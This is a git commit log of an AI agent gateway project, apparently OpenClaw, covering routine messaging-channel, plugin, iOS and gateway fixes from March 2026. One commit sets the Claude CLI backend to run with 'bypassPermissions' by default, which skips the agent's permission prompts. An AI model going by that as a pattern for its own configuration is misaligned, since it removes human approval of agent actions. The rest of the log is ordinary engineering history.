2026-03-04 16:13:45 +00:00
Sid
3fa43ec221 fix(model): propagate custom provider headers to model objects (#27490)
Merged via squash.

Prepared head SHA: e4183b398f
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-04 16:02:29 +00:00
huangcj
dc8253a84d fix(memory): serialize local embedding initialization to avoid duplicate model loads (#15639)
Merged via squash.

Prepared head SHA: a085fc21a8
Co-authored-by: SubtleSpark <43933609+SubtleSpark@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-04 10:09:03 -05:00
Vincent Koc
88ee57124e Delete changelog/fragments directory 2026-03-04 09:41:10 -05:00
Vincent Koc
c1bb07bd16 fix(slack): route system events to bound agent sessions (#34045)
* fix(slack): route system events via binding-aware session keys

* fix(slack): pass sender to system event session resolver

* fix(slack): include sender context for interaction session routing

* fix(slack): include modal submitter in session routing

* test(slack): cover binding-aware system event routing

* test(slack): update interaction session key assertions

* test(slack): assert reaction session routing carries sender

* docs(changelog): note slack system event routing fix

* Update CHANGELOG.md
2026-03-04 08:44:07 -05:00
Ayaan Zaidi
7b5e64ef2e fix: preserve raw media invoke for HTTP tool clients (#34365) 2026-03-04 17:17:39 +05:30
Ayaan Zaidi
ef4fa43df8 fix: prevent nodes media base64 context bloat (#34332) 2026-03-04 16:53:30 +05:30
Ayaan Zaidi
ed8e0a8146 docs(changelog): credit @Brotherinlaw-13 for #34318 2026-03-04 16:27:48 +05:30
Ayaan Zaidi
3cc1d5a92f fix(telegram): materialize dm draft final to avoid duplicates 2026-03-04 16:27:48 +05:30
Bob
257e2f5338 fix: relay ACP sessions_spawn parent streaming (#34310) (thanks @vincentkoc) (#34310)
Co-authored-by: Onur Solmaz <2453968+osolmaz@users.noreply.github.com>
2026-03-04 11:44:20 +01:00
Bob
61f7cea48b fix: kill stuck ACP child processes on startup and harden sessions in discord threads (#33699)
* Gateway: resolve agent.wait for chat.send runs

* Discord: harden ACP thread binding + listener timeout

* ACPX: handle already-exited child wait

* Gateway/Discord: address PR review findings

* Discord: keep ACP error-state thread bindings on startup

* gateway: make agent.wait dedupe bridge event-driven

* discord: harden ACP probe classification and cap startup fan-out

* discord: add cooperative timeout cancellation

* discord: fix startup probe concurrency helper typing

* plugin-sdk: avoid Windows root-alias shard timeout

* plugin-sdk: keep root alias reflection path non-blocking

* discord+gateway: resolve remaining PR review findings

* gateway+discord: fix codex review regressions

* Discord/Gateway: address Codex review findings

* Gateway: keep agent.wait lifecycle active with shared run IDs

* Discord: clean up status reactions on aborted runs

* fix: add changelog note for ACP/Discord startup hardening (#33699) (thanks @dutifulbob)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-04 10:52:28 +01:00
Mariano
bd25182d5a feat(ios): add Live Activity connection status + stale cleanup (#33591)
* feat(ios): add live activity connection status and cleanup

Add lock-screen/Dynamic Island connection health states and prune duplicate/stale activities before reuse. This intentionally excludes AI/title generation and heavier UX rewrites from #27488.

Co-authored-by: leepokai <1663017+leepokai@users.noreply.github.com>

* fix(ios): treat ended live activities as inactive

* chore(changelog): add PR reference and author thanks

---------

Co-authored-by: leepokai <1663017+leepokai@users.noreply.github.com>
2026-03-04 07:44:42 +00:00
Gustavo Madeira Santana
6a40f69d4d chore(docs): add plugins refactor changelog entry 2026-03-04 02:39:11 -05:00
Gustavo Madeira Santana
ad9ceafec2 Chore: remove accidental .DS_Store artifact 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
5c4ab999b0 Plugins/zalouser: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
e9c7bb6e15 Plugins/zalo: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
d25bf0d0ca Plugins/whatsapp: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
bbf29201b8 Plugins/voice-call: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
a9af933486 Plugins/twitch: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
72e774431c Plugins/tlon: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
7c96d82112 Plugins/thread-ownership: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
8377dbba30 Plugins/test-utils: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
f006c5f5c1 Plugins/talk-voice: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
65ffa676a5 Plugins/synology-chat: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
6521965e40 Plugins/qwen-portal-auth: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
71e62a77e8 Plugins/phone-control: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
c1c1af9d7b Plugins/open-prose: migrate to scoped plugin-sdk imports 2026-03-04 02:35:13 -05:00
Gustavo Madeira Santana
3dda4aaf08 Plugins/nostr: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
20ed90f1ba Plugins/nextcloud-talk: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
adb400f9b1 Plugins/msteams: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
e42d345aee Plugins/minimax-portal-auth: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
6b19b7f37a Plugins/memory-lancedb: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
61a2a3417f Plugins/memory-core: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
b192276283 Plugins/mattermost: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
b69b2a7ae0 Plugins/matrix: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
a5f56e8b4e Plugins/lobster: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
ccd2d7dc27 Plugins/llm-task: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
7b8e36583f Plugins/irc: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
a1e21bc02d Plugins/googlechat: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
5174b38626 Plugins/google-gemini-cli-auth: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
3e1ca111af Plugins/feishu: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
ed85754722 Plugins/diffs: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
54d78bb423 Plugins/diagnostics-otel: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
04385a61b7 Plugins/device-pair: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
04ff4a0c26 Plugins/copilot-proxy: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
9cfec9c05e Plugins/bluebubbles: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
c7c25c8902 Plugins/acpx: migrate to scoped plugin-sdk imports 2026-03-04 02:35:12 -05:00
Gustavo Madeira Santana
7a2f5a0098 Plugin SDK: add full bundled subpath wiring 2026-03-04 02:35:12 -05:00
Lynn
9d941949c9 fix(tui): normalize session key to lowercase to match gateway canonicalization (#34013)
Merged via squash.

Prepared head SHA: cfe06ca131
Co-authored-by: lynnzc <6257996+lynnzc@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-04 09:53:38 +03:00
Gustavo Madeira Santana
26e014311f Extensions: migrate acpx plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
37a8caee42 Extensions: migrate zalouser plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
dda86af866 Extensions: migrate zalo plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
b361cac753 Extensions: migrate voice-call plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
9d102b762e Extensions: migrate twitch plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
b0bca8d6e9 Extensions: migrate tlon plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
9bf08c926b Extensions: migrate test-utils plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
7a9754c927 Extensions: migrate telegram plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
96b0fce27c Extensions: migrate synology-chat plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
de05186ad7 Extensions: migrate qwen-portal-auth plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
612ca670da Extensions: migrate nostr plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
ed29472af6 Extensions: migrate nextcloud-talk plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
10bd6ae3c8 Extensions: migrate msteams plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
b2188092a1 Extensions: migrate minimax-portal-auth plugin-sdk imports 2026-03-04 01:21:30 -05:00
Gustavo Madeira Santana
009d4d115a Extensions: migrate mattermost plugin-sdk imports 2026-03-04 01:21:21 -05:00
Gustavo Madeira Santana
15f7e329c2 Extensions: migrate matrix plugin-sdk imports 2026-03-04 01:20:49 -05:00
Gustavo Madeira Santana
b7df821372 Extensions: migrate lobster plugin-sdk imports 2026-03-04 01:20:49 -05:00
Gustavo Madeira Santana
d9b8ec5afa Extensions: migrate llm-task plugin-sdk imports 2026-03-04 01:20:49 -05:00
Gustavo Madeira Santana
9b6101e382 Extensions: migrate irc plugin-sdk imports 2026-03-04 01:20:49 -05:00
Gustavo Madeira Santana
39a55844bc Extensions: migrate googlechat plugin-sdk imports 2026-03-04 01:20:49 -05:00
Gustavo Madeira Santana
b4f60d900b Extensions: migrate google-gemini-cli-auth plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
1ebd1fdb2d Extensions: migrate feishu plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
73de1d038e Extensions: migrate diffs plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
56d98a50cf Extensions: migrate diagnostics-otel plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
2bb63868c6 Extensions: migrate device-pair plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
ff38bc7649 Extensions: migrate bluebubbles plugin-sdk imports 2026-03-04 01:20:48 -05:00
Gustavo Madeira Santana
802b9f6b19 Plugins: add root-alias shim and cache/docs updates 2026-03-04 01:20:48 -05:00
Josh Avant
646817dd80 fix(outbound): unify resolved cfg threading across send paths (#33987) 2026-03-04 00:20:44 -06:00
Vincent Koc
4d183af0cf fix: code/cli acpx reliability 20260304 (#34020)
* agents: switch claude-cli defaults to bypassPermissions

* agents: add claude-cli default args coverage

* agents: emit watchdog stall system event for cli runs

* agents: test cli watchdog stall system event

* acpx: fallback to sessions new when ensure returns no ids

* acpx tests: mock sessions new fallback path

* acpx tests: cover ensure-empty fallback flow

* skills: clarify claude print mode without pty

* docs: update cli-backends claude default args

* docs: refresh cli live test default args

* gateway tests: align live claude args defaults

* changelog: credit claude/acpx reliability fixes

* Agents: normalize legacy Claude permission flag overrides

* Tests: cover legacy Claude permission override normalization

* Changelog: note legacy Claude permission flag auto-normalization

* ACPX: fail fast when ensure/new return no session IDs

* ACPX tests: support empty sessions new fixture output

* ACPX tests: assert ensureSession failure when IDs missing

* CLI runner: scope watchdog heartbeat wake to session

* CLI runner tests: assert session-scoped watchdog wake

* Update CHANGELOG.md
2026-03-04 01:15:28 -05:00
Vincent Koc
dfb4cb87f9 plugins: avoid peer auto-install dependency bloat (#34017)
* plugins/install: omit peer deps during plugin npm install

* tests: assert plugin install omits peer deps

* extensions/googlechat: mark openclaw peer optional

* extensions/memory-core: mark openclaw peer optional
2026-03-03 22:00:15 -08:00
Dale Yarborough
a95a0be133 feat(slack): add typingReaction config for DM typing indicator fallback (#19816)
* feat(slack): add typingReaction config for DM typing indicator fallback

Adds a reaction-based typing indicator for Slack DMs that works without
assistant mode. When `channels.slack.typingReaction` is set (e.g.
"hourglass_flowing_sand"), the emoji is added to the user's message when
processing starts and removed when the reply is sent.

Addresses #19809

* test(slack): add typingReaction to createSlackMonitorContext test callers

* test(slack): add typingReaction to test context callers

* test(slack): add typingReaction to context fixture

* docs(changelog): credit Slack typingReaction feature

* test(slack): align existing-thread history expectation

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-03 21:07:17 -08:00
Kesku
230fea1ca6 feat(web-search): switch Perplexity to native Search API (#33822)
* feat: Add Perplexity Search API as web_search provider

* docs fixes

* domain_filter validation

* address comments

* provider-specific options in cache key

* add validation for unsupported date filters

* legacy fields

* unsupported_language guard

* cache key matches the request's precedence order

* conflicting_time_filters guard

* unsupported_country guard

* invalid_date_range guard

* pplx validate for ISO 639-1 format

* docs: add Perplexity Search API changelog entry

* unsupported_domain_filter guard

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-03-03 22:57:19 -06:00
Ayaan Zaidi
d5a7a32826 docs(changelog): credit #31513 in #33647 entry 2026-03-04 10:20:59 +05:30
Tak Hoffman
b4e4e25e74 fix(gateway): narrow legacy route inheritance for custom session keys (openclaw#33932) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-03 22:45:46 -06:00
Vincent Koc
4bc466422f Deps: fix pnpm audit vulnerabilities in Google extension path (#33939)
* extensions/googlechat: require openclaw 2026.3.2+

* extensions/memory-core: require openclaw 2026.3.2+

* deps: bump fast-xml-parser override to 5.3.8

* deps: refresh lockfile for audit vulnerability fixes
2026-03-03 20:44:05 -08:00
Ayaan Zaidi
6962d2d79f fix: harden sessions_spawn attachment schema landing (#33648) (thanks @anisoptera) 2026-03-04 10:05:41 +05:30
Isis Anisoptera
965ce31d84 fix(sessions-spawn): remove maxLength from attachment content schema to fix llama.cpp GBNF grammar overflow 2026-03-04 10:05:41 +05:30
Tak Hoffman
8a7d1aa973 fix(gateway): preserve route inheritance for legacy channel session keys (openclaw#33919) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test src/gateway/server-methods/chat.directive-tags.test.ts
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-03 22:27:36 -06:00
Ayaan Zaidi
f74a04e4ba fix: tighten telegram topic-agent docs + fallback tests (#33647) (thanks @kesor) 2026-03-04 09:35:53 +05:30
Evgeny Zislis
8eeb049683 fix(telegram): address PR review comments
- Export pickFirstExistingAgentId and use it to validate topic agentId
- Properly update mainSessionKey when overriding route agent
- Fix docs example showing incorrect session key for topic 3

Fixes issue where non-existent agentId would create orphaned sessions.
Fixes issue where DM topic replies would route to wrong agent.
2026-03-04 09:35:53 +05:30
Evgeny Zislis
58bc9a241b feat(telegram): add per-topic agent routing for forum groups [AI-assisted]
This feature allows different topics within a Telegram forum supergroup to route
to different agents, each with isolated workspace, memory, and sessions.

Key changes:
- Add agentId field to TelegramTopicConfig type for per-topic routing
- Add zod validation for agentId in topic config schema
- Implement routing logic to re-derive session key with topic's agent
- Add debug logging for topic agent overrides
- Add unit tests for routing behavior (forum topics + DM topics)
- Add config validation tests
- Document feature in docs/channels/telegram.md

This builds on the approach from PR #31513 by @Sid-Qin with additional fixes
for security (preserved account fail-closed guard) and test coverage.

Closes #31473
2026-03-04 09:35:53 +05:30
Tak Hoffman
7f2708a8c3 fix(routing): unify session delivery invariants for duplicate suppression (#33786)
* Routing: unify session delivery invariants

* Routing: address PR review feedback

* Routing: tighten topic and session-scope suppression

* fix(chat): inherit routes for per-account channel-peer sessions
2026-03-03 21:40:38 -06:00
Tak Hoffman
1be39d4250 fix(gateway): synthesize lifecycle robustness for restart and startup probes (#33831)
* fix(gateway): correct launchctl command sequence for gateway restart (closes #20030)

* fix(restart): expand HOME and escape label in launchctl plist path

* fix(restart): poll port free after SIGKILL to prevent EADDRINUSE restart loop

When cleanStaleGatewayProcessesSync() kills a stale gateway process,
the kernel may not immediately release the TCP port. Previously the
function returned after a fixed 500ms sleep (300ms SIGTERM + 200ms
SIGKILL), allowing triggerOpenClawRestart() to hand off to systemd
before the port was actually free. The new systemd process then raced
the dying socket for port 18789, hit EADDRINUSE, and exited with
status 1, causing systemd to retry indefinitely — the zombie restart
loop reported in #33103.

Fix: add waitForPortFreeSync() that polls lsof at 50ms intervals for
up to 2 seconds after SIGKILL. cleanStaleGatewayProcessesSync() now
blocks until the port is confirmed free (or the budget expires with a
warning) before returning. The increased SIGTERM/SIGKILL wait budgets
(600ms / 400ms) also give slow processes more time to exit cleanly.

Fixes #33103
Related: #28134

* fix: add EADDRINUSE retry and TIME_WAIT port-bind checks for gateway startup

* fix(ports): treat EADDRNOTAVAIL as non-retryable and fix flaky test

* fix(gateway): hot-reload agents.defaults.models allowlist changes

The reload plan had a rule for `agents.defaults.model` (singular) but
not `agents.defaults.models` (plural — the allowlist array).  Because
`agents.defaults.models` does not prefix-match `agents.defaults.model.`,
it fell through to the catch-all `agents` tail rule (kind=none), so
allowlist edits in openclaw.json were silently ignored at runtime.

Add a dedicated reload rule so changes to the models allowlist trigger
a heartbeat restart, which re-reads the config and serves the updated
list to clients.

Fixes #33600

Co-authored-by: HCL <chenglunhu@gmail.com>
Signed-off-by: HCL <chenglunhu@gmail.com>

* test(restart): 100% branch coverage — audit round 2

Audit findings fixed:
- remove dead guard: terminateStaleProcessesSync pids.length===0 check was
  unreachable (only caller cleanStaleGatewayProcessesSync already guards)
- expose __testing.callSleepSyncRaw so sleepSync's real Atomics.wait path
  can be unit-tested directly without going through the override
- fix broken sleepSync Atomics.wait test: previous test set override=null
  but cleanStaleGatewayProcessesSync returned before calling sleepSync —
  replaced with direct callSleepSyncRaw calls that actually exercise L36/L42-47
- fix pid collision: two tests used process.pid+304 (EPERM + dead-at-SIGTERM);
  EPERM test changed to process.pid+305
- fix misindented tests: 'deduplicates pids' and 'lsof status 1 container
  edge case' were outside their intended describe blocks; moved to correct
  scopes (findGatewayPidsOnPortSync and pollPortOnce respectively)
- add missing branch tests:
  - status 1 + non-empty stdout with zero openclaw pids → free:true (L145)
  - mid-loop non-openclaw cmd in &&-chain (L67)
  - consecutive p-lines without c-line between them (L67)
  - invalid PID in p-line (p0 / pNaN) — ternary false branch (L67)
  - unknown lsof output line (else-if false branch L69)

Coverage: 100% stmts / 100% branch / 100% funcs / 100% lines (36 tests)

* test(restart): fix stale-pid test typing for tsgo

* fix(gateway): address lifecycle review findings

* test(update): make restart-helper path assertions windows-safe

---------

Signed-off-by: HCL <chenglunhu@gmail.com>
Co-authored-by: Glucksberg <markuscontasul@gmail.com>
Co-authored-by: Efe Büken <efe@arven.digital>
Co-authored-by: Riccardo Marino <rmarino@apple.com>
Co-authored-by: HCL <chenglunhu@gmail.com>
2026-03-03 21:31:12 -06:00
Tak Hoffman
87e6ce7c3a fix(extensions): synthesize mediaLocalRoots propagation across sendMedia adapters
Restore deterministic mediaLocalRoots propagation through extension sendMedia adapters and add coverage for local/remote media handling in Google Chat.

Synthesis of #33581, #33545, #33540, #33536, #33528.

Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
2026-03-03 21:30:41 -06:00
Tak Hoffman
9889c6da53 Runtime: stabilize tool/run state transitions under compaction and backpressure
Synthesize runtime state transition fixes for compaction tool-use integrity and long-running handler backpressure.

Sources: #33630, #33583

Co-authored-by: Kevin Shenghui <shenghuikevin@gmail.com>
Co-authored-by: Theo Tarr <theodore@tarr.com>
2026-03-03 21:25:32 -06:00
Ayaan Zaidi
575bd77196 fix: stabilize telegram draft boundary previews (#33842) (thanks @ngutman) 2026-03-04 08:55:27 +05:30
Gustavo Madeira Santana
5ce53095c5 fix(tlon): use HTTPS git URL for api-beta 2026-03-03 22:14:37 -05:00
Gustavo Madeira Santana
1278ee9248 plugin-sdk: add channel subpaths and migrate bundled plugins 2026-03-03 22:07:03 -05:00
Josh Avant
1c200ca7ae follow-up: align ingress, atomic paths, and channel tests with credential semantics (#33733)
Merged via squash.

Prepared head SHA: c290c2ab6a
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-03-03 20:29:46 -06:00
Gustavo Madeira Santana
6842877b2e build: prevent mixed static/dynamic pi-model-discovery imports 2026-03-03 21:27:14 -05:00
Gustavo Madeira Santana
b10f438221 Config: harden legacy heartbeat key migration 2026-03-03 20:42:35 -05:00
wan.xi
caa748b969 fix(config): detect top-level heartbeat as invalid config path (#30894) (#32706)
Merged via squash.

Prepared head SHA: 1714ffe6fc
Co-authored-by: xiwan <931632+xiwan@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 20:27:04 -05:00
LiaoyuanNing
b7589b32a8 fix(feishu): support SecretRef-style env credentials in account resolver (#30903)
Merged via squash.

Prepared head SHA: d3d0a18f17
Co-authored-by: LiaoyuanNing <259494737+LiaoyuanNing@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-03-03 19:22:50 -06:00
Gustavo Madeira Santana
21e8d88c1d build: fix ineffective dynamic imports with lazy boundaries (#33690)
Merged via squash.

Prepared head SHA: 38b3c23d6f
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 20:14:41 -05:00
Igal Tabachnik
a4850b1b8f fix(plugins): lazily initialize runtime and split plugin-sdk startup imports (#28620)
Merged via squash.

Prepared head SHA: 8bd7d6c13b
Co-authored-by: hmemcpy <601206+hmemcpy@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 19:58:48 -05:00
habakan
4b17d6d882 feat(gateway): add Permissions-Policy header to default security headers (#30186)
Merged via squash.

Prepared head SHA: 0dac89283f
Co-authored-by: habakan <12531644+habakan@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 16:25:39 -08:00
Gustavo Madeira Santana
0d97101665 Agents: preserve bootstrap warning dedupe across followup runs 2026-03-03 18:56:11 -05:00
liquidhorizon88-bot
d95cf256e7 Security audit: suggest valid gateway.nodes.denyCommands entries (#29713)
Merged via squash.

Prepared head SHA: db23298f98
Co-authored-by: liquidhorizon88-bot <257047709+liquidhorizon88-bot@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 15:47:57 -08:00
Cui Chen
e8cb0484ce fix(security): strip partial API token from status labels (#33262)
Merged via squash.

Prepared head SHA: 5fe81704e6
Co-authored-by: cu1ch3n <80438676+cu1ch3n@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 15:11:49 -08:00
Clawdoo
b1a735829d docs: fix Mintlify-incompatible links in security docs (#27698)
Merged via squash.

Prepared head SHA: 6078cd94ba
Co-authored-by: clawdoo <65667097+clawdoo@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 14:51:28 -08:00
Mariano
2a733a8444 fix(ios): harden watch messaging activation concurrency (#33306)
Merged via squash.

Prepared head SHA: d40f8c4afb
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 22:38:54 +00:00
Mariano
4c6dec84a6 Telegram/device-pair: auto-arm one-shot notify on /pair qr with manual fallback (#33299)
Merged via squash.

Prepared head SHA: 0986691fd4
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 22:36:45 +00:00
Mariano
a36ccf4156 fix(ios): start incremental speech at soft boundaries (#33305)
Merged via squash.

Prepared head SHA: d1acf72317
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 22:36:40 +00:00
Mariano
22e33ddda9 fix(ios): guard talk TTS callbacks to active utterance (#33304)
Merged via squash.

Prepared head SHA: dd88886e41
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 22:34:09 +00:00
13otKmdr
a8dd9ffea1 security: add X-Content-Type-Options nosniff header to media route (#30356)
Merged via squash.

Prepared head SHA: b14f9ad7ca
Co-authored-by: 13otKmdr <154699144+13otKmdr@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 13:35:46 -08:00
wangchunyue
bcd58c26d3 fix(logging ): use local timezone for console log timestamps (#25970)
Merged via squash.

Prepared head SHA: 30123265b7
Co-authored-by: openperf <80630709+openperf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-04 00:31:41 +03:00
Gustavo Madeira Santana
e4b4486a96 Agent: unify bootstrap truncation warning handling (#32769)
Merged via squash.

Prepared head SHA: 5d6d4ddfa6
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 16:28:38 -05:00
Sid
3ad3a90db3 fix(gateway): include disk-scanned agent IDs in listConfiguredAgentIds (#32831)
Merged via squash.

Prepared head SHA: 2aa58f6afd
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-03 21:19:18 +00:00
Shakker
b02a07655d fix: harden pr review artifact validation 2026-03-03 21:14:37 +00:00
joshavant
a9969e641a docs: fix secretref marker rendering in credential surface 2026-03-03 15:08:41 -06:00
scoootscooob
ff96e41c38 fix(discord): align DiscordAccountConfig.token type with SecretInput (#32490)
Merged via squash.

Prepared head SHA: 233aa032f1
Co-authored-by: scoootscooob <167050519+scoootscooob@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-03-03 14:59:57 -06:00
Robin Waslander
44162e7ba5 docs(contributing): require before/after screenshots for UI PRs (#32206)
Merged via squash.

Prepared head SHA: d7f0914873
Co-authored-by: hydro13 <6640526+hydro13@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-03 23:45:19 +03:00
dorukardahan
2cd3be896d docs(security): document Docker UFW hardening via DOCKER-USER (#27613)
Merged via squash.

Prepared head SHA: 31ddd43326
Co-authored-by: dorukardahan <35905596+dorukardahan@users.noreply.github.com>
Co-authored-by: grp06 <1573959+grp06@users.noreply.github.com>
Reviewed-by: @grp06
2026-03-03 12:28:35 -08:00
joshavant
490670128b fix(docs): avoid MDX regex markers in secretref page 2026-03-03 14:00:09 -06:00
joshavant
70c6bc8581 fix(docs): use MDX-safe secretref markers 2026-03-03 13:54:03 -06:00
Shadow
65816657c2 feat(discord): add allowBots mention gating 2026-03-03 12:47:25 -06:00
Shadow
b0bcea03db fix: drop discord opus dependency 2026-03-03 12:23:19 -06:00
Shadow
16ebbd24b5 fix(discord): reset thread sessions on archive 2026-03-03 11:32:59 -06:00
Shadow
b8b1eeb052 fix(discord): harden slash command routing 2026-03-03 11:32:05 -06:00
Shadow
0eef7a367d fix(discord): honor agent media roots in replies 2026-03-03 11:29:58 -06:00
Shadow
548b15d8e0 fix(discord): skip bot messages before debounce 2026-03-03 11:29:58 -06:00
Shadow
05446d6b6b docs: document discord ignoreOtherMentions 2026-03-03 11:26:20 -06:00
Shadow
e28ff1215c fix: discord auto presence health signal (#33277) (thanks @thewilloftheshadow) (#33277) 2026-03-03 11:20:59 -06:00
Ayaan Zaidi
